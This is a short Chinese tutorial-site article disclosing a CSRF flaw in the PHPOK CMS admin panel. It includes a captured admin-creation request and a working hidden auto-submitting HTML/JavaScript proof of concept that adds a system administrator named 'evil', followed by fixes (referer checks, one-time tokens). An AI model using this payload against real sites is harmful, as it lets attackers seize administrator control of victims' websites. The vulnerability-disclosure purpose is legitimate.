网站地图    收藏   

主页 > 后端 > 网站安全 >

PHPOK CSRF获取管理员权限及修复 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 测试环境(PHPOK):添加用户:抓包抓到如下内容:POST phpok admin php?c=adminf=save HTTP 1 1Host: www evil comProxy-Connection: keep-aliveContent-Length: 67Cache-Control: max-age=0Accept: t...

测试环境(PHPOK):
 
 
添加用户:
 
抓包抓到如下内容:
 
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
 
Host: www.evil.com
 
Proxy-Connection: keep-alive
 
Content-Length: 67
 
Cache-Control: max-age=0
 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 
Origin: http://www.evil.com
 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0
 
Content-Type: application/x-www-form-urlencoded
 
Referer: http://www.evil.com/phpok/admin.php?c=admin&f=set
 
Accept-Encoding: gzip,deflate,sdch
 
Accept-Language: zh-CN,zh;q=0.8
 
Cookie: PHPSESSION=c003810ffea32e03358eb66d6a1a81cb
 
 
 
id=&account=poc&pass=poc123&email=poc%40qq.com&status=1&if_system=1
 
 
 
 
发现没有加token,查看源码也没有看到判断referer。 所以可能存在CSRF,于是构造如下POC:
 
<div style="display:none">
 
<form action="http://www.evil.com/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
 
<input type="hidden" name="id" value=""/>
 
<input type="hidden" name="account" value=""/>
 
<input type="hidden" name="pass" value=""/>
 
<input type="hidden" name="email" value=""/>
 
<input type="hidden" name="status" value=""/>
 
<input type="hidden" name="if_system" value=""/>
 
<input type="submit" name="up" value"submit"/>
 
</form>
 
<script>
 
var t = document.poc;
 
t.account.value="evil";
 
t.pass.value="evil";
 
t.email.value="evil@qq.com";
 
t.status.value="1";
 
t.if_system.value="1";
 
document.poc.submit();
 
</script>
 
</div>
 
 
 
 
打开POC页面前:
 
打开后:
 
为此添加管理员成功。。。
 
 
 
理论上是通杀所有版本的。。。
修复方案:
1. 判断referer来源,根据业务的逻辑进行referer的过滤。
 
2. 添加一次性token,同时注意随机不可预测性!

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论